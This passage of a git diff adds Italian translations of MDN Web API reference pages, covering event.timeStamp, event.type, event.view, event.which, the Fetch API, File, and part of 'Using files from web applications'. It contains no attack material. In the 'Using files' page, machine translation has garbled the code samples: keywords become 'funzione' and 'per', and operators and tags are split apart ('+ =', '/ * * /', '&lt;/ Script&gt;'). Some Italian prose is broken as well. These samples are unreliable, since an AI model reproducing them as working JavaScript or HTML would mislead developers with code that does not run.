+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-stopPropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Definzione iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.Event.stopPropagation")}}</p>
diff --git a/files/it/web/api/event/timestamp/index.html b/files/it/web/api/event/timestamp/index.html
new file mode 100644
index 0000000000..d01ab1986a
--- /dev/null
+++ b/files/it/web/api/event/timestamp/index.html
@@ -0,0 +1,45 @@
+---
+title: event.timeStamp
+slug: Web/API/Event/timeStamp
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Event/timeStamp
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il timestamp (cioè il numero di millisecondi trascorsi dalla Unix Epoch, le ore 00:00:00 del 1/1/1970) corrispondente al momento in cui si è verificato l'evento.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>ts</i> = event.timeStamp
+</pre>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+
+&lt;title&gt;esempio di timeStamp&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+var ora = null;
+
+function leggiOrario(evt) {
+  ora = evt.timeStamp;
+  document.getElementById("time").firstChild.nodeValue = ora;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="leggiOrario(event)"&gt;
+
+&lt;p&gt;Premi un tasto per conoscere il timestamp corrente grazie all'evento onkeypress.&lt;/p&gt;
+&lt;p&gt;timeStamp: &lt;span id="time"&gt;-&lt;/span&gt;&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Il sistema di eventi potrebbe non supportare questa proprietà per ogni possibile tipo di evento.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-timeStamp">timestamp </a></p>
+<p>{{ languages( { "en": "en/DOM/event.timeStamp", "pl": "pl/DOM/event.timeStamp" } ) }}</p>
diff --git a/files/it/web/api/event/type/index.html b/files/it/web/api/event/type/index.html
new file mode 100644
index 0000000000..108e944059
--- /dev/null
+++ b/files/it/web/api/event/type/index.html
@@ -0,0 +1,50 @@
+---
+title: event.type
+slug: Web/API/Event/type
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/Event/type
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il nome dell'evento (case-insensitive).</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>stringa</i> = event.type
+</pre>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+
+&lt;title&gt;esempio su event.type&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+var eventoCorrente = null;
+
+function tipoEvento(evt) {
+  eventoCorrente = evt.type;
+  document.getElementById("Etype").firstChild.nodeValue = eventoCorrente;
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body
+  onkeydown="tipoEvento(event)"
+  onkeyup="tipoEvento(event)"
+  onmousedown="tipoEvento(event)"
+  onmouseup="tipoEvento(event)"&gt;
+
+&lt;p&gt;Premi un tasto della tastiera o del mouse per visualizzare il nome dell'evento.&lt;/p&gt;
+&lt;p&gt;Tipo evento: &lt;span id="Etype"&gt;-&lt;/span&gt;&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Note" name="Note">Note</h3>
+<p>Il è un nome XML valido.</p>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-type">type </a></p>
+<p>{{ languages( { "en": "en/DOM/event.type", "pl": "pl/DOM/event.type" } ) }}</p>
diff --git a/files/it/web/api/event/view/index.html b/files/it/web/api/event/view/index.html
new file mode 100644
index 0000000000..00d9f88004
--- /dev/null
+++ b/files/it/web/api/event/view/index.html
@@ -0,0 +1,22 @@
+---
+title: event.view
+slug: Web/API/Event/view
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/UIEvent/view
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce l'oggetto <code>AbstractView</code> nel quale si è verificato l'evento. Nei browser web, questo è l'oggetto <a href="it/DOM/window">window</a> che ha generato l'evento.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>view</i> =<i>event</i>.view
+</pre>
+<ul>
+ <li><code>view</code> è un riferimento ad un oggetto <code>AbstractView</code>.</li>
+</ul>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-UIEvent-view">DOM Level 2 Events: UIEvent.view</a></p>
+<p>{{ languages( { "en": "en/DOM/event.view", "pl": "pl/DOM/event.view" } ) }}</p>
diff --git a/files/it/web/api/event/which/index.html b/files/it/web/api/event/which/index.html
new file mode 100644
index 0000000000..0ab544b60c
--- /dev/null
+++ b/files/it/web/api/event/which/index.html
@@ -0,0 +1,60 @@
+---
+title: event.which
+slug: Web/API/Event/which
+tags:
+  - DOM
+  - Gecko
+  - Reference_del_DOM_di_Gecko
+  - Tutte_le_categorie
+translation_of: Web/API/KeyboardEvent/which
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sommario" name="Sommario">Sommario</h3>
+<p>Restituisce il valore di <code>keyCode</code> se il tasto premuto non è un tasto carattere, altrimenti restituisce il valore di <code>charCode</code> se è stato premuto un tasto alfanumerico.</p>
+<h3 id="Sintassi" name="Sintassi">Sintassi</h3>
+<pre class="eval"><i>int</i> = event.which
+</pre>
+<p><code>int</code> è il codice numerico del tasto che è stato premuto, sia esso alfanumerico oppure no. Si vedano <code><a href="it/DOM/event.charCode">charCode</a></code> e <code><a href="it/DOM/event.keyCode">keyCode</a></code> per ulteriori informazioni.</p>
+<h3 id="Esempio" name="Esempio">Esempio</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;esempio con charCode/keyCode/which&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function mostraTastoPremuto(evt)
+{
+alert("Evento onkeypress: \n"
+      + "proprietà keyCode: " + evt.keyCode + "\n"
+      + "proprietà which: " + evt.which + "\n"
+      + "proprietà charCode: " + evt.charCode + "\n"
+      + "Tasto premuto (se alfanumerico): "
+      + String.fromCharCode(evt.charCode) + "\n"
+     );
+}
+
+
+function pressioneTasto(evt)
+{
+alert("onkeydown handler: \n"
+      + "proprietà keyCode: " + evt.keyCode + "\n"
+      + "proprietà which: " + evt.which + "\n"
+     );
+}
+
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body
+ onkeypress="mostraTastoPremuto(event);"
+ onkeydown="pressioneTasto(event);"
+&gt;
+
+&lt;p&gt;Premere un tasto&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Specifiche" name="Specifiche">Specifiche</h3>
+<p>Non è parte di alcuna specifica.</p>
diff --git a/files/it/web/api/fetch_api/index.html b/files/it/web/api/fetch_api/index.html
new file mode 100644
index 0000000000..1a458fb681
--- /dev/null
+++ b/files/it/web/api/fetch_api/index.html
@@ -0,0 +1,170 @@
+---
+title: Fetch API
+slug: Web/API/Fetch_API
+tags:
+  - API
+  - Documentazione
+  - Fetch
+  - Response
+  - Sperimentale
+  - XMLHttpRequest
+  - request
+translation_of: Web/API/Fetch_API
+---
+<p>{{DefaultAPISidebar("Fetch API")}}{{ SeeCompatTable }}</p>
+
+<p>La Fetch API fornisce un'interfaccia per ottenere risorse (anche attraverso la rete). Sembrerá familiare a tutti coloro che hanno usato {{domxref("XMLHttpRequest")}}, ma la nuova API fornisce un'insieme piú potente e flessibile di funzionalitá.</p>
+
+<h2 id="Concetti_e_uso">Concetti e uso</h2>
+
+<p>Fetch fornisce una definizione generica di oggetti {{domxref("Request")}} e {{domxref("Response")}} (e altri inclusi nelle richieste di rete). Questo permette loro di essere usati ovunque necessari, in futuro, sia che servano per service workers, Cache API e altri oggetti simili che usano o modificano richieste e risposte, sia per qualunque altro caso d'uso che richieda di generare le proprie risposte via codice.</p>
+
+<p>Esso fornisce anche una definizione per concetti correlati come CORS e la semantica degli header HTTP di tipo origin, ovviando alla necessità di doverli definire separatamente altrove.</p>
+
+<p>Per effettuare una richiesta e ottenere una risorsa, si usa il metodo {{domxref("GlobalFetch.fetch")}}. Esso è implementato in piú interfacce (specificatamente {{domxref("Window")}} e {{domxref("WorkerGlobalScope")}}). Questo lo rende disponibile all'incirca in ogni contesto in cui si puó voler ottenere risorse.</p>
+
+<p>Il metodo <code>fetch()</code> richiede un parametro obbligatorio, il percorso (path) alla risorsa che si vuole ottenere, e ritorna una {{domxref("Promise")}} che risolve la {{domxref("Response")}} a quella richiesta, sia essa stata eseguita con successo oppure no. Si puó anche passare in via opzionale un oggetto <code>init</code> (per definire opzioni facoltative) come secondo parametro (per l'elenco completo delle opzioni visitare {{domxref("Request")}}).</p>
+
+<p>Non appena una {{domxref("Response")}} è recuperata, vi è un certo numero di metodi disponibile allo scopo di definire cosa sia il corpo della risposta e come dovrebbe essere gestito (in dettaglio : {{domxref("Body")}}.)</p>
+
+<p>È possibile creare una richiesta e una risposta direttamente usando i costruttori delle classi {{domxref("Request.Request","Request()")}} e {{domxref("Response.Response","Response()")}}, ma non e' una pratica comune. Invece, e' piu' frequente che essi vengano creati come risultato delle altre azioni della API (ad esempio, {{domxref("FetchEvent.respondWith")}} dei service workers.)</p>
+
+<div class="note">
+<p><strong>Note</strong>: Puoi trovare informazioni aggiuntive riguardo l'uso di fetch sulla pagina <a href="/docs/Web/API/Fetch_API/Using_Fetch">Using Fetch</a>, e studiare i concetti sulla pagina <a href="/docs/Web/API/Fetch_API/Basic_concepts">Fetch basic concepts</a>.</p>
+</div>
+
+<h3 id="Annullare_un_fetch">Annullare un fetch</h3>
+
+<p>I browsers hanno cominciato a supportare in via sperimentale le interfacce {{domxref("AbortController")}} e {{domxref("AbortSignal")}} (meglio note come Abort API), che permettono di annullare operazioni come Fetch e XHR quando non sono ancora state completate. Per maggiori informazioni controlla la pagina con la descrizione delle interfacce.</p>
+
+<h2 id="Fetch_Interfaces">Fetch Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("GlobalFetch")}}</dt>
+ <dd>Contiene il metodo globale <code>fetch()</code> usato per ottenere una risorsa.</dd>
+ <dt>{{domxref("Headers")}}</dt>
+ <dd>Rappresenta un header di richiesta/risposta, permettendo di interrogarlo ed eseguire azioni differenti in base ai risultati.</dd>
+ <dt>{{domxref("Request")}}</dt>
+ <dd>Rappresenta una richiesta.</dd>
+ <dt>{{domxref("Response")}}</dt>
+ <dd>Rappresenta una risposta a una richiesta.</dd>
+</dl>
+
+<h2 id="Fetch_mixin">Fetch mixin</h2>
+
+<dl>
+ <dt>{{domxref("Body")}}</dt>
+ <dd>Fornisce metodi relativi al corpo di una richiesta/risposta permettendo di dichiarare quale sia il tipo di contenuto e come dovrebbe essere gestito.</dd>
+</dl>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Definizione di cui sopra</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilitá_coi_Browsers">Compatibilitá coi Browsers</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>IE</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>14</td>
+   <td>{{CompatGeckoDesktop(39)}}<br>
+    34<sup>[1]</sup><br>
+    {{ CompatGeckoDesktop(52)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>29<br>
+    28<sup>[1]</sup></td>
+   <td>10.1</td>
+  </tr>
+  <tr>
+   <td>{{domxref('ReadableStream')}}</td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>14</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.1</td>
+  </tr>
+  <tr>
+   <td>{{domxref('ReadableStream')}}</td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Questa API è implementata ma dev'essere abilitata da un'opzione di Firefox.</p>
+
+<p>[2] Per le versioni di Firefox precedenti la 52, <code>get()</code> ottiene solamente il primo valore nell'header specificato, mentre <code>getAll()</code> ottiene tutti i valori. Dalla versione 52 in avanti, <code>get()</code> ottiene tutti i valori e <code>getAll()</code> è stato eliminato.</p>
+
+<p>[3] La lettura degli streams è disponibile nell'attuale versione di Firefox, ma deve essere abilitata tramite le opzioni <code>dom.streams.enabled</code> e <code>javascript.options.streams</code>.</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="/docs/Web/API/Fetch_API/Using_Fetch">Using Fetch</a></li>
+ <li><a href="/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="/docs/Web/API/Fetch_API/Basic_concepts">Fetch basic concepts</a></li>
+</ul>
diff --git a/files/it/web/api/file/index.html b/files/it/web/api/file/index.html
new file mode 100644
index 0000000000..1d1941d482
--- /dev/null
+++ b/files/it/web/api/file/index.html
@@ -0,0 +1,101 @@
+---
+title: File
+slug: Web/API/File
+tags:
+  - API
+  - File API
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web
+translation_of: Web/API/File
+---
+<div>{{APIRef}}</div>
+
+<p>The <strong><code>File</code></strong> interface provides information about files and allows JavaScript in a web page to access their content.</p>
+
+<p><code>File</code> objects are generally retrieved from a {{DOMxRef("FileList")}} object returned as a result of a user selecting files using the {{HTMLElement("input")}} element, from a drag and drop operation's {{DOMxRef("DataTransfer")}} object, or from the <code>mozGetAsFile()</code> API on an {{DOMxRef("HTMLCanvasElement")}}.</p>
+
+<p>A <code>File</code> object is a specific kind of a {{DOMxRef("Blob")}}, and can be used in any context that a Blob can. In particular, {{DOMxRef("FileReader")}}, {{DOMxRef("URL.createObjectURL()")}}, {{DOMxRef("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, and {{DOMxRef("XMLHttpRequest", "", "send()")}} accept both <code>Blob</code>s and <code>File</code>s.</p>
+
+<p>See <a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for more information and examples.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{DOMxRef("File.File", "File()")}}</dt>
+ <dd>Returns a newly constructed <code>File</code>.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{DOMxRef("File.lastModified")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the last modified time of the file, in millisecond since the UNIX epoch (January 1st, 1970 at Midnight).</dd>
+ <dt>{{DOMxRef("File.lastModifiedDate")}} {{Deprecated_Inline}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the last modified {{JSxRef("Date")}} of the file referenced by the <code>File</code> object.</dd>
+ <dt>{{DOMxRef("File.name")}}{{ReadOnlyInline}}</dt>
+ <dd>Returns the name of the file referenced by the <code>File</code> object.</dd>
+ <dt>{{DOMxRef("File.webkitRelativePath")}} {{Non-standard_Inline}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the path the URL of the {{DOMxRef("File")}} is relative to.</dd>
+</dl>
+
+<p><code>File</code> implements {{DOMxRef("Blob")}}, so it also has the following properties available to it:</p>
+
+<dl>
+ <dt>{{DOMxRef("File.size")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the size of the file in bytes.</dd>
+ <dt>{{DOMxRef("File.type")}} {{ReadOnlyInline}}</dt>
+ <dd>Returns the <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME </a>type of the file.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>File</code> interface doesn't define any methods, but inherits methods from the {{DOMxRef("Blob")}} interface:</em></p>
+
+<dl>
+ <dt>{{DOMxRef("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}</dt>
+ <dd>Returns a new <code>Blob</code> object containing the data in the specified range of bytes of the source <code>Blob</code>.</dd>
+ <dt>{{DOMxRef("Blob.stream()")}}</dt>
+ <dd>Transforms the <code>File</code> into a {{DOMxRef("ReadableStream")}} that can be used to read the <code>File</code> contents.</dd>
+ <dt>{{DOMxRef("Blob.text()")}}</dt>
+ <dd>Transforms the <code>File</code> into a stream and reads it to completion. It returns a promise that resolves with a {{DOMxRef("USVString")}} (text).</dd>
+ <dt>{{DOMxRef("Blob.arrayBuffer()")}}</dt>
+ <dd>Transforms the <code>File</code> into a stream and reads it to completion. It returns a promise that resolves with an {{DOMxRef("ArrayBuffer")}}.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File API', "#file-section", "The <code>File</code> interface")}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.File")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Using files from web applications</a></li>
+ <li>{{DOMxRef("FileReader")}}</li>
+ <li><a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Using the DOM File API in chrome code</a> (for privileged code running in Gecko, such as Firefox add-ons)</li>
+</ul>
diff --git a/files/it/web/api/file/using_files_from_web_applications/index.html b/files/it/web/api/file/using_files_from_web_applications/index.html
new file mode 100644
index 0000000000..00d0b5f28c
--- /dev/null
+++ b/files/it/web/api/file/using_files_from_web_applications/index.html
@@ -0,0 +1,506 @@
+---
+title: Using files from web applications
+slug: Web/API/File/Using_files_from_web_applications
+translation_of: Web/API/File/Using_files_from_web_applications
+---
+<div><font><font>{{APIRef ("File API")}}</font></font></div>
+
+<p><font><font>Utilizzando l'API File, che è stata aggiunta al DOM in HTML5, è ora possibile per il contenuto Web chiedere all'utente di selezionare i file locali e quindi leggere il contenuto di tali file. </font><font>Questa selezione può essere effettuata utilizzando un </font></font><code>{{HTMLElement("input/file", '&lt;input type="file"&gt;')}}</code><font><font>elemento </font><font>HTML </font><font>o trascinandolo.</font></font></p>
+
+<p><font><font>Se si desidera utilizzare l'API del file DOM da estensioni o altro codice Chrome del browser, è possibile; </font><font>tuttavia, nota che ci sono alcune funzionalità aggiuntive di cui essere a conoscenza. </font><font>Per i dettagli, vedi </font></font><a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code"><font><font>Utilizzo dell'API del file DOM nel codice Chrome</font></font></a><font><font> .</font></font></p>
+
+<h2 id="Accesso_ai_file_selezionati"><font><font>Accesso ai file selezionati</font></font></h2>
+
+<p><font><font>Considera questo HTML:</font></font></p>
+
+<pre class="brush: html notranslate"><font><font>&lt;input type = "file" id = "input" multiple&gt;</font></font></pre>
+
+<p><font><font>L'API File consente di accedere a un {{DOMxRef ("FileList")}} contenente {{DOMxRef ("File")}} oggetti che rappresentano i file selezionati dall'utente.</font></font></p>
+
+<p><font><font>L' </font></font><code>multiple</code><font><font>attributo </font></font><code>input</code><font><font>sull'elemento consente all'utente di selezionare più file.</font></font></p>
+
+<p><font><font>Accesso al primo file selezionato usando un classico selettore DOM:</font></font></p>
+
+<pre class="brush: js notranslate"><font><font>const selectedFile = document.getElementById ('input'). files [0];</font></font></pre>
+
+<h3 id="Accesso_ai_file_selezionati_su_un_evento_di_modifica"><font><font>Accesso ai file selezionati su un evento di modifica</font></font></h3>
+
+<p><font><font>È anche possibile (ma non obbligatorio) accedere a {{DOMxRef ("FileList")}} tramite l' </font></font><code>change</code><font><font>evento. </font><font>È necessario utilizzare {{DOMxRef ("EventTarget.addEventListener ()")}} per aggiungere il </font></font><code>change</code><font><font>listener di eventi, in questo modo:</font></font></p>
+
+<pre class="brush: js notranslate"><font><font>const inputElement = document.getElementById ("input");</font></font><font><font>
+inputElement.addEventListener ("change", handleFiles, false);</font></font><font><font>
+funzione handleFiles () {</font></font><font><font>
+  const fileList = this.files; </font><font>/ * ora puoi lavorare con l'elenco dei file * /</font></font><font><font>
+}</font></font></pre>
+
+<h2 id="Ottenere_informazioni_sui_file_selezionati"><font><font>Ottenere informazioni sui file selezionati</font></font></h2>
+
+<p><font><font>L'oggetto {{DOMxRef ("FileList")}} fornito dal DOM elenca tutti i file selezionati dall'utente, ognuno specificato come oggetto {{DOMxRef ("File")}}. </font><font>È possibile determinare il numero di file selezionato dall'utente controllando il valore dell'attributo dell'elenco file </font></font><code>length</code><font><font>:</font></font></p>
+
+<pre class="brush: js notranslate"><font><font>const numFiles = fileList.length;</font></font></pre>
+
+<p><font><font>I singoli oggetti {{DOMxRef ("File")}} possono essere recuperati semplicemente accedendo all'elenco come un array:</font></font></p>
+
+<pre class="brush: js notranslate"><font><font>for (let i = 0, numFiles = fileList.length; i &lt;numFiles; i ++) {</font></font><font><font>
+  const file = fileList [i];</font></font><font><font>
+  // ...</font></font><font><font>
+}</font></font>
+</pre>
+
+<p><font><font>Questo ciclo scorre su tutti i file nell'elenco dei file.</font></font></p>
+
+<p><font><font>Esistono tre attributi forniti dall'oggetto {{DOMxRef ("File")}} che contengono informazioni utili sul file.</font></font></p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd><font><font>Il nome del file come stringa di sola lettura. </font><font>Questo è solo il nome del file e non include alcuna informazione sul percorso.</font></font></dd>
+ <dt><code>size</code></dt>
+ <dd><font><font>La dimensione del file in byte come numero intero a 64 bit di sola lettura.</font></font></dd>
+ <dt><code>type</code></dt>
+ <dd><font><font>Il tipo MIME del file come stringa di sola lettura o </font></font><code>""</code><font><font>se il tipo non può essere determinato.</font></font></dd>
+</dl>
+
+<h3 id="Esempio_visualizzazione_delle_dimensioni_dei_file"><font><font>Esempio: visualizzazione delle dimensioni dei file</font></font></h3>
+
+<p><font><font>L'esempio seguente mostra un possibile utilizzo della </font></font><code>size</code><font><font>proprietà:</font></font></p>
+
+<pre class="brush: html notranslate"><font><font>&lt;! DOCTYPE html&gt;</font></font><font><font>
+&lt;Html&gt;</font></font><font><font>
+&lt;Head&gt;</font></font><font><font>
+&lt;meta charset = "UTF-8"&gt;</font></font><font><font>
+&lt;title&gt; Dimensioni file &lt;/title&gt;</font></font><font><font>
+&lt;Script&gt;</font></font><font><font>
+funzione updateSize () {</font></font><font><font>
+  let nBytes = 0,</font></font><font><font>
+      oFiles = this.files,</font></font><font><font>
+      nFiles = oFiles.length;</font></font><font><font>
+  for (let nFileId = 0; nFileId &lt;nFiles; nFileId ++) {</font></font><font><font>
+    nBytes + = oFiles [nFileId] .size;</font></font><font><font>
+  }</font></font><font><font>
+  let sOutput = nBytes + "bytes";</font></font><font><font>
+  // codice opzionale per l'approssimazione di multipli</font></font><font><font>
+  const aMultiples = ["KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"];</font></font><font><font>
+  per (nMultiple = 0, nApprox = nBytes / 1024; nApprox&gt; 1; nApprox / = 1024, nMultiple ++) {</font></font><font><font>
+    sOutput = nApprox.toFixed (3) + "" + aMultiples [nMultiple] + "(" + nBytes + "bytes)";</font></font><font><font>
+  }</font></font><font><font>
+  // fine del codice opzionale</font></font><font><font>
+  document.getElementById ("fileNum"). innerHTML = nFiles;</font></font><font><font>
+  document.getElementById ("fileSize"). innerHTML = sOutput;</font></font><font><font>
+}</font></font>
+<font><font>
+document.getElementById ("uploadInput"). addEventListener ("change", updateSize, false);</font></font><font><font>
+&lt;/ Script&gt;</font></font><font><font>
+&lt;/ Head&gt;</font></font>
+<font><font>
+&lt;Body&gt;</font></font><font><font>
+  &lt;form name = "uploadForm"&gt;</font></font><font><font>
+    &lt;Div&gt;</font></font><font><font>
+      &lt;input id = "uploadInput" type = "file" name = "myFiles" multiple&gt;</font></font><font><font>
+      file selezionati: &lt;span id = "fileNum"&gt; 0 &lt;/span&gt;;</font></font><font><font>
+      dimensione totale: &lt;span id = "fileSize"&gt; 0 &lt;/span&gt;</font></font><font><font>
+    &lt;/ Div&gt;</font></font><font><font>
+    &lt;div&gt; &lt;input type = "submit" value = "Invia file"&gt; &lt;/div&gt;</font></font><font><font>
+  &lt;/ Form&gt;</font></font><font><font>
+&lt;/ Body&gt;</font></font><font><font>
+&lt;/ Html&gt;</font></font>
+</pre>
+
+<h2 id="Utilizzo_di_elementi_di_input_di_file_nascosti_utilizzando_il_metodo_click"><font><font>Utilizzo di elementi di input di file nascosti utilizzando il metodo click ()</font></font></h2>
+
+<p><font><font>Puoi nascondere l'elemento file {{HTMLElement ("input")}}, ammesso, brutto e presentare la tua interfaccia per aprire il selettore di file e visualizzare il file o i file selezionati dall'utente. </font><font>Puoi farlo stilando l'elemento di input con </font></font><code>display:none</code><font><font>e chiamando il metodo {{DOMxRef ("HTMLElement.click", "click ()")}} sull'elemento {{HTMLElement ("input")}}.</font></font></p>
+
+<p><font><font>Considera questo HTML:</font></font></p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none"&gt;
+&lt;button id="fileSelect"&gt;Select some files&lt;/button&gt;</pre>
+
+<p>The code that handles the <code>click</code> event can look like this:</p>
+
+<pre class="brush: js notranslate">const fileSelect = document.getElementById("fileSelect"),
+  fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+  if (fileElem) {
+    fileElem.click();
+  }
+}, false);
+</pre>
+
+<p>You can style the new button for opening the file picker as you wish.</p>
+
+<h2 id="Using_a_label_element_to_trigger_a_hidden_file_input_element">Using a label element to trigger a hidden file input element</h2>
+
+<p>To allow opening the file picker without using JavaScript (the click() method), a {{HTMLElement("label")}} element can be used. Note that in this case the input element must not be hidden using <code>display: none</code> (nor <code>visibility: hidden</code>), otherwise the label would not be keyboard-accessible. Use the <a href="https://a11yproject.com/posts/how-to-hide-content/">visually-hidden technique</a> instead.</p>
+
+<p>Consider this HTML:</p>
+
+<pre class="brush: html notranslate">&lt;input type="file" id="fileElem" multiple accept="image/*" class="visually-hidden"&gt;
+&lt;label for="fileElem"&gt;Select some files&lt;/label&gt;</pre>
+
+<p>and this CSS:</p>
+
+<pre class="brush: css notranslate">.visually-hidden {
+  position: absolute !important;
+  height: 1px;
+  width: 1px;
+  overflow: hidden;
+  clip: rect(1px, 1px, 1px, 1px);
+}
+
+/* Separate rule for compatibility, :focus-within is required on modern Firefox and Chrome */
+input.visually-hidden:focus + label {
+  outline: thin dotted;
+}
+input.visually-hidden:focus-within + label {
+  outline: thin dotted;
+}
+</pre>
+
